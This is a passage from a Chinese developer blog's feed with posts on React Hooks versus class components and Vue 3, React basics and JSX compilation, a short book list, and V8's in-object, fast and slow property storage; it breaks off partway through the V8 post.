</span></span><span>}</span></div></div><div><div><div>30</div></div><div><span><span> </span></span><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>可以看到以上两种方式都是套了一层组件壳子。</p><p>再来看看Hooks是怎么实现的</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>getSize</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>return</span><span><span> </span><span>window</span><span>.</span></span><span>innerWidth</span><span> </span><span>&gt;</span><span> </span><span>1000</span><span> </span><span>?</span><span> </span><span>"large"</span><span> </span><span>:</span><span> </span><span>"small"</span><span>;</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>const</span><span> </span><span>useWindowSize</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>5</div></div><div><span>  </span><span>const</span><span> [</span><span>size</span><span>, </span><span>setSize</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>getSize</span><span>());</span></div></div><div><div><div>6</div></div><div><span>  </span><span>useEffect</span><span>(() </span><span>=&gt;</span><span> {</span></div></div><div><div><div>7</div></div><div><span>  </span><span>const</span><span> </span><span>handler</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>8</div></div><div><span>      </span><span>setSize</span><span>(</span><span>getSize</span><span>())</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>};</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>window</span><span>.</span><span>addEventListener</span><span>(</span><span>'resize'</span><span><span>, </span><span>handler</span><span>);</span></span></div></div><div><div><div>11</div></div><div><span>    </span><span>return</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>12</div></div><div><span><span>      </span></span><span>window</span><span>.</span><span>removeEventListener</span><span>(</span><span>'resize'</span><span><span>, </span><span>handler</span><span>);</span></span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>};</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>}, []);</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>  </span><span>return</span><span><span> </span><span>size</span><span>;</span></span></div></div><div><div><div>17</div></div><div><span>};</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>const</span><span> </span><span>Demo</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>20</div></div><div><span>  </span><span>const</span><span> </span><span>size</span><span> </span><span>=</span><span> </span><span>useWindowSize</span><span>();</span></div></div><div><div><div>21</div></div><div><span>  </span><span>if</span><span><span> (</span><span>size</span><span> </span></span><span>===</span><span> </span><span>"small"</span><span>) </span><span>return</span><span> &lt;</span><span>SmallComponent</span><span> /&gt;;</span></div></div><div><div><div>22</div></div><div><span>  </span><span>else</span><span> </span><span>return</span><span> &lt;</span><span>LargeComponent</span><span> /&gt;;</span></div></div><div><div><div>23</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数式组件通过useEffect将类组件的生命周期的代码聚合到了一个统一的副作用函数中了。</p><p>与之前展示的老方案相比，这个使用 Hooks 的实现有以下优势：</p><ul>
<li><strong>更简洁</strong>：代码量明显减少</li>
<li><strong>更直观</strong>：逻辑流程更加清晰，没有嵌套的组件层级</li>
<li><strong>更灵活</strong>：可以在任何函数组件中使用，不需要包装整个组件</li>
<li><strong>避免了 props 透传</strong>：不需要通过 props 层层传递数据</li>
</ul><p>展示了为什么 React Hooks 在推出后迅速成为管理组件状态和副作用的首选方式。</p></section>
<section><h3>Hooks的另一大好处：有助于关注分离<a href="#hooks的另一大好处有助于关注分离"><span>#</span></a></h3><p>Hooks能让针对同一个业务逻辑的代码尽可能的聚合在一块，这样的好处就是关注点分离。</p><p>比如上面例子中，Class组件需要将同一个业务逻辑的代码分离在各个生命周期方法中，但是通过Hooks的方式可以把业务代码聚合在一起。</p><p>比如在绑定和解绑事件需要在componentDidMount、componentWillUnmount中去写，而Hooks可以把这两个逻辑写在一起。</p><p>React社区的一张图可以详细展示这之间的区别</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202506050003075.png" alt="img" /><figcaption>img</figcaption></figure><p></p><blockquote><p>这和Vue3的设计思路也是相同的，Vue2⇒Vue3从上窜下跳写法变成了Composition API写法，目的也是将业务逻辑聚合起来。</p></blockquote></section>
<section><h3>总结<a href="#总结"><span>#</span></a></h3><p>Hooks更好的体现了React在State ⇒ View的函数映射开发思想。</p><p>Hooks解决了Class组件的代码冗余，逻辑复用复杂的问题。</p><blockquote><p>吐槽：
相较于React的极致向后兼容，Vue确实变化的大了点… React像是稳健派，Vue是激进的改革派
从函数式编程和逻辑复用的角度来看，Vue3并不像React做的那么彻底。比如Vue3虽然有watchEffect，但是watchEffect不能像useEffect那样在卸载时清理副作用函数，也就是没法像React那样完全彻底的聚合业务逻辑并且替代生命周期，Vue3的生命周期依然存在感很强。 从思考角度上来说，React更关注对依赖数据的副作用处理，而Vue3更关注响应式数据变化引发的副作用处理。</p></blockquote>

<table><thead><tr><th>维度</th><th>React（Hooks）</th><th>Vue 3（Composition API）</th></tr></thead><tbody><tr><td><strong>编程范式</strong></td><td>函数式优先，组件即函数</td><td>响应式驱动 + 类似函数式</td></tr><tr><td><strong>副作用管理</strong></td><td><code>useEffect</code>自动响应依赖变化</td><td><code>watchEffect</code>需手动清理，需配合生命周期</td></tr><tr><td><strong>状态更新机制</strong></td><td>手动触发（useState / setState）</td><td>自动追踪响应式数据（ref / reactive）</td></tr><tr><td><strong>生命周期控制</strong></td><td>生命周期抽象化，不显式暴露</td><td>明确生命周期钩子（onMounted 等）</td></tr><tr><td><strong>学习曲线</strong></td><td>更偏向函数式思维，有一定门槛</td><td>更直观，适合渐进式学习</td></tr></tbody></table><p>对于React，更函数式，优势是</p><ul>
<li>副作用与生命周期解耦，<code>useEffect</code>不绑定具体生命周期阶段，而是基于依赖项变化自动执行。</li>
<li>逻辑聚合能力强，多个相关逻辑可以集中在一个<code>useEffect</code>或自定义 Hook 中，而不是分散在多个生命周期中。</li>
</ul><p>对于Vue3，更响应式，优势是</p><ul>
<li>响应式系统自动追踪依赖，不需要像React写出[deps]依赖数组，只要改变了响应式变量，就会自动重新运行副作用。</li>
<li>生命周期还存在，直观容易调试。</li>
<li>性能优化更容易：Vue本身会自动做性能优化，不用像React需要通过<code>React.memo</code>,<code>useCallback</code>,<code>useMemo</code>手动优化。</li>
</ul></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/framework/react/react%E6%98%AF%E4%BB%80%E4%B9%88/</id>
      <title type="text">React是什么？</title>
      <published>2025-06-03T00:00:00.000Z</published>
      <updated>2025-06-03T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/framework/react/react%E6%98%AF%E4%BB%80%E4%B9%88/"/>
      <summary type="text">React的中文含义是反应或者响应。 React的核心原理是：当数据变化时，UI能自动把变化反应出来。</summary>
      <content type="html"><![CDATA[<p>React的中文含义是反应或者响应。 React的核心原理是：当数据变化时，UI能自动把变化反应出来。</p>
<p>在React出现时的背景来说是颠覆式创新。</p>
<p>举个例子，在当时如果要实现一个聊天应用，当来了一条新消息时，你需要通过DOM API把消息加到聊天框，同时要让显示未读消息的地方让数字加一，这样才能保持UI的一致性。</p>
<p>而如果使用React的话，你只需要在业务状态和UI状态之间建立一个绑定关系就可以了，不需要去直接操作修改UI，而是绑定完成后，React会在业务状态发生变化时，帮助我们去完成UI的变化。</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202506030815096.jpg" alt="1748909702006" /><figcaption>1748909702006</figcaption></figure><p></p>
<section><h3>React的基本概念<a href="#react的基本概念"><span>#</span></a></h3><p>基本概念就三个：</p><ul>
<li>组件</li>
<li>状态</li>
<li>JSX</li>
</ul><section><h4>组件<a href="#组件"><span>#</span></a></h4><p>组件有两种</p><ul>
<li>原生组件 div、span等</li>
<li>自定义组件 使用时必须大驼峰命名，如PageHeader</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>CommentBox</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;</span><span>div</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>      </span></span><span>&lt;</span><span>CommentHeader</span><span> /&gt;</span></div></div><div><div><div>5</div></div><div><span><span>      </span></span><span>&lt;</span><span>CommentList</span><span> /&gt;</span></div></div><div><div><div>6</div></div><div><span><span>      </span></span><span>&lt;</span><span>CommentForm</span><span> /&gt;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>状态(state和props管理状态)<a href="#状态state和props管理状态"><span>#</span></a></h4><p>根据React的核心机制，需要在状态变化时渲染UI，那就需要有保存状态的地方，在React中叫做state。</p><p>props是用来在父子组件之间传递状态的，类似于表单组件的传参属性概念。</p><p>用React函数组件举个state例子</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> </span><span>React</span><span> </span><span>from</span><span> </span><span>"react"</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>export</span><span> </span><span>default</span><span> </span><span>function</span><span> </span><span>Counter</span><span>() {</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> [</span><span>count</span><span>, </span><span>setCount</span><span>] </span><span>=</span><span><span> </span><span>React</span><span>.</span></span><span>useState</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>5</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;</span><span>div</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span><span>      </span></span><span>&lt;</span><span>button</span><span> </span><span>onClick</span><span><span>=</span><span>{</span><span>() </span></span><span>=&gt;</span><span> </span><span>setCount</span><span>(</span><span>count</span><span><span> </span><span>+</span><span> </span></span><span>1</span><span><span>)</span><span>}</span><span>&gt;</span><span>{</span></span><span>count</span><span><span>}</span><span>&lt;/</span></span><span>button</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>10</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>通过useState可以定义一个状态，和一个设置状态的函数。</p><p>点击Button ⇒ setCount更新count状态 ⇒ 更新视图渲染(count+1)</p><p>再举个state+props的例子</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> </span><span>React</span><span> </span><span>from</span><span> </span><span>"react"</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>function</span><span> </span><span>CountLabel</span><span><span>({ </span><span>count</span><span> }) {</span></span></div></div><div><div><div>4</div></div><div><span>  </span><span>// 子组件用于显示颜色</span></div></div><div><div><div>5</div></div><div><span>  </span><span>const</span><span> </span><span>color</span><span> </span><span>=</span><span><span> </span><span>count</span><span> </span></span><span>&gt;</span><span> </span><span>10</span><span> </span><span>?</span><span> </span><span>"red"</span><span> </span><span>:</span><span> </span><span>"blue"</span><span>;</span></div></div><div><div><div>6</div></div><div><span>  </span><span>return</span><span> &lt;</span><span>span</span><span> </span><span>style</span><span><span>=</span><span>{</span><span>{ </span><span>color</span><span> }</span><span>}</span><span>&gt;</span><span>{</span><span>count</span><span>}</span><span>&lt;/</span></span><span>span</span><span>&gt;;</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>export</span><span> </span><span>default</span><span> </span><span>function</span><span> </span><span>Counter</span><span>() {</span></div></div><div><div><div>10</div></div><div><span>  </span><span>// 定义了 count 这个 state</span></div></div><div><div><div>11</div></div><div><span>  </span><span>const</span><span> [</span><span>count</span><span>, </span><span>setCount</span><span>] </span><span>=</span><span><span> </span><span>React</span><span>.</span></span><span>useState</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>&lt;</span><span>div</span><span>&gt;</span></div></div><div><div><div>15</div></div><div><span><span>      </span></span><span>&lt;</span><span>button</span><span> </span><span>onClick</span><span><span>=</span><span>{</span><span>() </span></span><span>=&gt;</span><span> </span><span>setCount</span><span>(</span><span>count</span><span><span> </span><span>+</span><span> </span></span><span>1</span><span><span>)</span><span>}</span><span>&gt;</span></span></div></div><div><div><div>16</div></div><div><span><span>        </span></span><span>&lt;</span><span>CountLabel</span><span> </span><span>count</span><span><span>=</span><span>{</span></span><span>count</span><span><span>}</span><span> /&gt;</span></span></div></div><div><div><div>17</div></div><div><span><span>      </span></span><span>&lt;/</span><span>button</span><span>&gt;</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>19</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>20</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><ol>
<li>点击Button ⇒ setCount更新count状态</li>
<li>count状态发生变化 ⇒ 作为props传入CountLabel</li>
<li>CountLabel重新执行 + 渲染(根据count值对应不同的color颜色)</li>
</ol><blockquote><p>React和Vue的区别</p></blockquote><p>React函数式：</p><ul>
<li>当props更新时，整个函数组件会重新执行</li>
<li>函数内的所有代码都会重新运行</li>
<li>创建新的变量和JSX元素</li>
<li>完全重新渲染这个组件实例</li>
</ul><p>Vue:</p><ul>
<li>组件实例会被保留</li>
<li>只触发响应式系统的更新</li>
<li>只重新计算依赖于变化的props的计算属性或方法</li>
<li>智能地只更新需要变化的DOM部分</li>
</ul><p>主要区别：</p><ul>
<li>Vue更细粒度，只更新受影响的部分</li>
<li>React采用完全重新执行的方式，更符合函数式编程理念</li>
<li>Vue的响应式系统自动追踪依赖关系</li>
<li>React需要开发者主动考虑性能优化（如使用useMemo、useCallback等）</li>
</ul></section></section>
<section><h3>JSX语法本质<a href="#jsx语法本质"><span>#</span></a></h3><section><h4>JSX 的本质是什么，它和 JS 之间到底是什么关系？<a href="#jsx-的本质是什么它和-js-之间到底是什么关系"><span>#</span></a></h4><p>JSX本质是JavaScript的一种语法拓展, 但是它充分具备 JavaScript 的能力。</p></section><section><h4>JSX 语法是如何在 JavaScript 中生效的?<a href="#jsx-语法是如何在-javascript-中生效的"><span>#</span></a></h4><p>通过Babel将JSX转换成React.createElement()， React.createElement() 将返回一个叫作“React Element”的 JS 对象.转换就是在编译的过程中,  由Babel完成.</p></section><section><h4>JSX是如何映射成DOM的<a href="#jsx是如何映射成dom的"><span>#</span></a></h4><p>JSX</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import React from "react";</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>function CountLabel({ count }) {</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>// 子组件用于显示颜色</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>const color = count &gt; 10 ? "red" : "blue";</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>return &lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>{{</span><span> </span><span>color</span><span> </span><span>}}</span><span>&gt;{count}&lt;/</span><span>span</span><span>&gt;;</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>export default function Counter() {</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>// 定义了 count 这个 state</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>const [count, setCount] = React.useState(0);</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>return (</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>&lt;</span><span>div</span><span>&gt;</span></div></div><div><div><div>15</div></div><div><span><span>      </span></span><span>&lt;</span><span>button</span><span> </span><span>onClick</span><span>=</span><span>{()</span><span> </span><span>=</span><span>&gt; setCount(count + 1)}&gt;</span></div></div><div><div><div>16</div></div><div><span><span>        </span></span><span>&lt;</span><span>CountLabel</span><span> </span><span>count</span><span>=</span><span>{count}</span><span> /&gt;</span></div></div><div><div><div>17</div></div><div><span><span>      </span></span><span>&lt;/</span><span>button</span><span>&gt;</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>19</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>20</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>JSX ⇒ JS</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>React</span><span>.</span></span><span>createElement</span><span>(</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"div"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>null</span><span>,</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>React</span><span>.</span><span>createElement</span><span>(</span></div></div><div><div><div>5</div></div><div><span>    </span><span>"button"</span><span>,</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>{ </span><span>onClick</span><span>:</span><span> </span><span>function</span><span> </span><span>onClick</span><span>() {</span></div></div><div><div><div>7</div></div><div><span>        </span><span>return</span><span> </span><span>setCount</span><span><span>(</span><span>count</span><span> </span></span><span>+</span><span> </span><span>1</span><span>);</span></div></div><div><div><div>8</div></div><div><span><span>      </span></span><span>} },</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>React</span><span>.</span><span>createElement</span><span><span>(</span><span>CountLabel</span><span>, { </span></span><span>count</span><span>:</span><span><span> </span><span>count</span><span> })</span></span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>)</span></div></div><div><div><div>11</div></div><div><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><a href="https://zh-hans.react.dev/reference/react/createElement" target="_blank">React.createElement介绍</a></p><p>最后通过<strong>ReactDOM.createRoot().render()</strong> 方法将这个React元素添加到DOM中。</p><blockquote><p>在 React 18 中，<code>ReactDOM.render()</code>已被弃用，取而代之的是<code>ReactDOM.createRoot().render()</code>：</p></blockquote></section><section><h4>总结（JSX到真实DOM的流程）<a href="#总结jsx到真实dom的流程"><span>#</span></a></h4><ol>
<li>通过Babel将JSX转换成JS</li>
<li>用<code>React.createElement</code>来创建用来描述DOM元素的React元素</li>
<li>最终会通过<code>ReactDOM.createRoot().render()</code>将React元素添加到真实DOM中。</li>
</ol></section></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/input/book/</id>
      <title type="text">书单</title>
      <published>2025-06-03T00:00:00.000Z</published>
      <updated>2025-06-03T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/input/book/"/>
      <summary type="text">读过的成长类和金融类书籍。</summary>
      <content type="html"><![CDATA[<section><h2>成长<a href="#成长"><span>#</span></a></h2><ul>
<li>《被讨厌的勇气》</li>
<li>《高效能人士的七个习惯》</li>
<li>《认知觉醒》</li>
<li>《认知驱动》</li>
<li>《优势谈判》</li>
<li>《刻意练习》</li>
<li>《李诞脱口秀工作手册》</li>
<li>《乌合之众》</li>
</ul></section>
<section><h2>金融<a href="#金融"><span>#</span></a></h2><ul>
<li>《穷爸爸富爸爸》</li>
<li>《半小时漫画经济学》</li>
<li>《股票作手回忆录》</li>
</ul></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/browser/v8/javascript%E4%B8%AD%E5%AF%B9%E8%B1%A1%E7%9A%84%E5%BF%AB%E6%85%A2%E5%B1%9E%E6%80%A7/</id>
      <title type="text">JavaScript的快慢属性</title>
      <published>2025-05-25T00:00:00.000Z</published>
      <updated>2025-05-25T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/browser/v8/javascript%E4%B8%AD%E5%AF%B9%E8%B1%A1%E7%9A%84%E5%BF%AB%E6%85%A2%E5%B1%9E%E6%80%A7/"/>
      <summary type="text">V8 中对象由隐藏类、Properties 和 Elements 构成，快属性和慢属性分别是怎么存储的。</summary>
      <content type="html"><![CDATA[<p><a href="https://zhuanlan.zhihu.com/p/98434092" target="_blank"> V8 是怎么跑起来的 —— V8 中的对象表示 本文创作于 2019-04-30，2019-12-20 迁移至此 本文基于 Chrome 73 进行测试。前言V8，可能是前端开发人员熟悉而又陌生的领域。 当你看到这篇文章时，它已经迭代了三版了。目的只有一个，在保证尽可能准确的前提下… https://zhuanlan.zhihu.com/p/98434092</a></p>
<p><a href="https://v8.dev/blog/fast-properties" target="_blank"> Fast properties in V8 · V8 This technical deep-dive explains how V8 handles JavaScript properties behind the scenes. https://v8.dev/blog/fast-properties</a></p>
<p><a href="https://gist.github.com/kevincennis/0cd2138c78a07412ef21" target="_blank">   https://gist.github.com/kevincennis/0cd2138c78a07412ef21</a></p>
<p>在V8中，对象主要由三个指针构成，分别是隐藏类(Hidden Class)，<code>Property</code> 还有 <code>element</code></p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_nyzFWT3aPq.png" alt="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/8B1CB330-6E81-4BFB-8219-33FF6D63F98E_2/HICTgZCIdZp1dJ9qp0pYCLIExER62QGllhsQgLjQqxYz/image_nyzFWT3aPq.png" /><figcaption>https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/8B1CB330-6E81-4BFB-8219-33FF6D63F98E_2/HICTgZCIdZp1dJ9qp0pYCLIExER62QGllhsQgLjQqxYz/image_nyzFWT3aPq.png</figcaption></figure><p></p>
<p>其中，隐藏类用于描述对象的结构。<code>Property</code> 和 <code>Element</code> 用于存放对象的属性，它们的区别主要体现在键名能否被索引。</p>
<section><h3>Properties 与 Element<a href="#properties-与-element"><span>#</span></a></h3><p>在 V8 内部，为了有效地提升存储和访问这两种属性的性能，分别使用了两个线性数据结构Properties、Element来分别保存排序属性和常规属性</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 可索引属性会被存储到 Elements 指针指向的区域</span></div></div><div><div><div>2</div></div><div><span>{ 1: "a", 2: "b" }</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>// 命名属性会被存储到 Properties 指针指向的区域</span></div></div><div><div><div>5</div></div><div><span>{ "first": 1, "second": 2 }</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这是为了满足 <a href="https://link.zhihu.com/?target=https://tc39.github.io/ecma262/#sec-ordinaryownpropertykeys" target="_blank">ECMA 规范</a> 要求所进行的设计。按照规范中的描述，可索引的属性应该按照索引值大小升序排列，而命名属性根据创建的顺序升序排列。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var a = { 1: "a", 2: "b", "first": 1, 3: "c", "second": 2 }</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>var b = { "second": 2, 1: "a", 3: "c", 2: "b", "first": 1 }</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>console.log(a)</span></div></div><div><div><div>6</div></div><div><span>// { 1: "a", 2: "b", 3: "c", first: 1, second: 2 }</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>console.log(b)</span></div></div><div><div><div>9</div></div><div><span>// { 1: "a", 2: "b", 3: "c", second: 2, first: 1 }</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以发现b的对象顺序和声明的不太一样。</p><p>可以看到索引属性【integer-indexed】(如1，2)按照升序排列。</p><p>而命名属性【named properties】(如first，second)则是按照声明顺序排列。</p><p>在同时使用索引属性和命名属性时可以看到两者发生了分隔。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_cLrUIFtC9J.png" alt="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/D630DD6D-DF09-4581-AEFE-5992B2B692A5_2/nEVKy9KtkmInODf89q56xrX4WiGye487ltYmeWjuXREz/image_cLrUIFtC9J.png" /><figcaption>https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/D630DD6D-DF09-4581-AEFE-5992B2B692A5_2/nEVKy9KtkmInODf89q56xrX4WiGye487ltYmeWjuXREz/image_cLrUIFtC9J.png</figcaption></figure><p></p><p>将属性分解成这两种线性数据结构之后，如果执行索引操作，那么 V8 会先从 elements 属性中按照顺序读取所有的元素，然后再在 properties 属性中读取所有的元素，这样就完成一次索引操作。</p></section>
<section><h3>命名属性的不同存储方式<a href="#命名属性的不同存储方式"><span>#</span></a></h3><p>通过上述，我们知道V8将不同属性保存在elements属性和properties属性中，这样简化了程序复杂度，但是查找元素时却多了一步操作，比如bar.B，V8会先找出properties属性所指向对象，然后在properties对象上查找B属性，这种方式增加一步操作，就会影响到元素的查找效率。</p><p>基于这个原因，V8使用一种权衡策略用以提高查找属性效率。这个策略就是将部分常规属性存储到对象本身，这种称为对象内属性(in-object-properties)</p><p>V8 中命名属性有三种的不同存储方式：对象内属性（in-object）、快属性（fast）和慢属性（slow）。</p><p>用例子来说明对象内属性、快属性和慢属性</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function foo() {}</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>let a = new foo()</span></div></div><div><div><div>4</div></div><div><span>let b = new foo()</span></div></div><div><div><div>5</div></div><div><span>let c = new foo()</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>for(let i = 0; i&lt;10; i++){</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>a[new Array(i+2).join('a')] = 'aaa'</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div><div><div><div>10</div></div><div><span>for(let i = 0; i&lt;12; i++){</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>b[new Array(i+2).join('b')] = 'bbb'</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div><span>for(let i = 0; i&lt;30; i++){</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>c[new Array(i+2).join('c')] = 'ccc'</span></div></div><div><div><div>15</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>a、b、c 三个对象分别有10、12、30个属性，分别会以对象内属性，对象内属性+快属性、对象内属性+慢属性这三种方式存储。</p><p>通过控制台执行上述脚本，在控制台的Memory内存处，获取内存快照，并在筛选框搜索foo。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_2KAtm0sJlz.png" alt="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/911CCF71-552C-4B2D-AB7C-E1686F9F2EFB_2/I2ScATQJwr1ysM6FhSbbLojslw0ZdL3HGDMR5qQmnTYz/image_2KAtm0sJlz.png" /><figcaption>https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/911CCF71-552C-4B2D-AB7C-E1686F9F2EFB_2/I2ScATQJwr1ysM6FhSbbLojslw0ZdL3HGDMR5qQmnTYz/image_2KAtm0sJlz.png</figcaption></figure><p></p><p>a - 对象内属性</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_-LgcBK4DoM.png" alt="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/7DAB0AC1-9AC1-44AF-9C63-F79FC1E48B11_2/WTvOl2zPxR9txpcKTvZxkZXrowZRUCbg4jUl6xpcqxUz/image_-LgcBK4DoM.png" /><figcaption>https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/7DAB0AC1-9AC1-44AF-9C63-F79FC1E48B11_2/WTvOl2zPxR9txpcKTvZxkZXrowZRUCbg4jUl6xpcqxUz/image_-LgcBK4DoM.png</figcaption></figure><p></p><p>b - 对象内属性+快属性</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_a6o-HosWZ7.png" 